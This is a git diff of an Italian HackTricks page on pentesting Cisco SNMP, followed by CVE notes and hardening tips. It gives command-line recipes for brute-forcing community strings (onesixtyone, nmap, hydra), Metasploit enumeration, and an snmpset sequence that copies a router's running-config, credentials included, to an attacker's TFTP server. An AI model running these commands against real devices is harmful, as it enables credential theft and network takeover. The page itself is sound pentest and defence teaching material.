mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-snmp/cisco-snmp.
This commit is contained in:
parent
82c752c970
commit
cbdcea249a
@ -4,34 +4,92 @@
|
||||
|
||||
## Pentesting Cisco Networks
|
||||
|
||||
**SNMP** funziona su UDP con le porte 161/UDP per messaggi generali e 162/UDP per messaggi di trap. Questo protocollo si basa su stringhe di comunità, che fungono da password per abilitare la comunicazione tra agenti e server SNMP. Queste stringhe sono fondamentali poiché determinano i livelli di accesso, specificamente **permessi di sola lettura (RO) o lettura-scrittura (RW)**. Un vettore d'attacco notevole per i pentester è il **brute-forcing delle stringhe di comunità**, con l'obiettivo di infiltrarsi nei dispositivi di rete.
|
||||
**SNMP** funziona su UDP con le porte **161/UDP** per messaggi generali e **162/UDP** per messaggi di trap. Questo protocollo si basa su *community strings*, che fungono da "password" in chiaro che abilitano la comunicazione tra agenti e manager SNMP. Queste stringhe determinano il livello di accesso, specificamente **permessi di sola lettura (RO) o lettura-scrittura (RW)**.
|
||||
|
||||
Uno strumento pratico per eseguire tali attacchi di brute-force è [**onesixtyone**](https://github.com/trailofbits/onesixtyone), che richiede un elenco di potenziali stringhe di comunità e gli indirizzi IP degli obiettivi:
|
||||
Un vettore d'attacco classico—ma ancora estremamente efficace—è **forzare le community strings** per elevare da utente non autenticato a amministratore del dispositivo (community RW). Uno strumento pratico per questo compito è [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
onesixtyone -c community_strings.txt -i targets.txt
|
||||
```
|
||||
#### `cisco_config_tftp`
|
||||
|
||||
Il framework Metasploit include il modulo `cisco_config_tftp`, che facilita l'estrazione delle configurazioni dei dispositivi, a condizione di acquisire una stringa di comunità RW. I parametri essenziali per questa operazione includono:
|
||||
|
||||
- Stringa di comunità RW (**COMMUNITY**)
|
||||
- IP dell'attaccante (**LHOST**)
|
||||
- IP del dispositivo target (**RHOSTS**)
|
||||
- Percorso di destinazione per i file di configurazione (**OUTPUTDIR**)
|
||||
|
||||
Una volta configurato, questo modulo consente il download delle impostazioni del dispositivo direttamente in una cartella specificata.
|
||||
|
||||
#### `snmp_enum`
|
||||
|
||||
Un altro modulo di Metasploit, **`snmp_enum`**, si specializza nella raccolta di informazioni dettagliate sull'hardware. Funziona con entrambi i tipi di stringa di comunità e richiede l'indirizzo IP del target per un'esecuzione riuscita:
|
||||
Altre opzioni veloci sono lo script NSE di Nmap `snmp-brute` o il modulo SNMP di Hydra:
|
||||
```bash
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
|
||||
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
|
||||
```
|
||||
---
|
||||
|
||||
### Dumping configuration through SNMP (CISCO-CONFIG-COPY-MIB)
|
||||
Se ottieni una **comunità RW** puoi copiare la running-config/startup-config su un server TFTP/FTP *senza accesso CLI* abusando del CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`). Due approcci comuni sono:
|
||||
|
||||
1. **Nmap NSE – `snmp-ios-config`**
|
||||
```bash
|
||||
nmap -sU -p161 --script snmp-ios-config \
|
||||
--script-args creds.snmp=private 192.168.66.1
|
||||
```
|
||||
Lo script orchestran automaticamente l'operazione di copia e stampa la configurazione su stdout.
|
||||
|
||||
2. **Sequenza manuale `snmpset`**
|
||||
```bash
|
||||
# Copy running-config (4) to a TFTP server (1) – random row id 1234
|
||||
snmpset -v2c -c private 192.168.66.1 \
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo
|
||||
```
|
||||
I identificatori di riga sono *one-shot*; il riutilizzo entro cinque minuti attiva errori `inconsistentValue`.
|
||||
|
||||
Una volta che il file è sul tuo server TFTP, puoi ispezionare le credenziali (`enable secret`, `username <user> secret`, ecc.) o persino inviare una configurazione modificata di nuovo al dispositivo.
|
||||
|
||||
---
|
||||
|
||||
### Metasploit goodies
|
||||
|
||||
* **`cisco_config_tftp`** – scarica la running-config/startup-config tramite TFTP dopo aver abusato della stessa MIB.
|
||||
* **`snmp_enum`** – raccoglie informazioni sull'inventario del dispositivo, VLAN, descrizioni delle interfacce, tabelle ARP, ecc.
|
||||
```bash
|
||||
use auxiliary/scanner/snmp/snmp_enum
|
||||
set RHOSTS 10.10.100.10
|
||||
set COMMUNITY public
|
||||
run
|
||||
```
|
||||
---
|
||||
|
||||
## Recenti vulnerabilità SNMP di Cisco (2023 – 2025)
|
||||
Tenere traccia degli avvisi dei fornitori è utile per definire le opportunità *zero-day-to-n-day* all'interno di un ingaggio:
|
||||
|
||||
| Anno | CVE | Funzione interessata | Impatto |
|
||||
|------|-----|---------------------|--------|
|
||||
| 2025 | CVE-2025-20174 | Sottosistema SNMP | Pacchetto creato porta a *DoS* autenticato (reload) su IOS/IOS-XE (v1/v2c/v3). |
|
||||
| 2024 | CVE-2024-20373 | Gestione ACL IPv4 | ACL **estese** mal configurate *falliscono* silenziosamente, consentendo il polling SNMP non autenticato quando è nota una community/user valida. |
|
||||
| 2025 | (nessun CVE ancora) | Bypass della restrizione di configurazione SNMPv3 | Utente v3 valido può effettuare polling da indirizzi che dovrebbero essere negati. |
|
||||
|
||||
L'exploitabilità dipende spesso dal possesso della stringa di community o delle credenziali v3—un altro motivo per cui il brute-forcing rimane rilevante.
|
||||
|
||||
---
|
||||
|
||||
## Suggerimenti per il rafforzamento e la rilevazione
|
||||
|
||||
* Aggiornare a una versione IOS/IOS-XE corretta (vedere l'avviso Cisco per il CVE sopra).
|
||||
* Preferire **SNMPv3** con `authPriv` (SHA-256/AES-256) rispetto a v1/v2c.
|
||||
```
|
||||
snmp-server group SECURE v3 priv
|
||||
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
|
||||
```
|
||||
* Associare SNMP a un VRF di gestione e **limitare con ACL IPv4 numerate *standard*** (le ACL estese nominate sono rischiose – CVE-2024-20373).
|
||||
* Disabilitare le **community RW**; se operativamente necessario, limitarle con ACL e viste:
|
||||
`snmp-server community <string> RW 99 view SysView`
|
||||
* Monitorare per:
|
||||
- Picchi UDP/161 o fonti inaspettate (regole SIEM).
|
||||
- Eventi `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` che indicano modifiche di configurazione fuori banda.
|
||||
* Abilitare il **logging SNMPv3** e `snmp-server packetsize 1500` per ridurre alcuni vettori DoS.
|
||||
|
||||
---
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
- Cisco: *Come copiare configurazioni da e verso dispositivi Cisco utilizzando SNMP*
|
||||
- Avviso di sicurezza Cisco *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user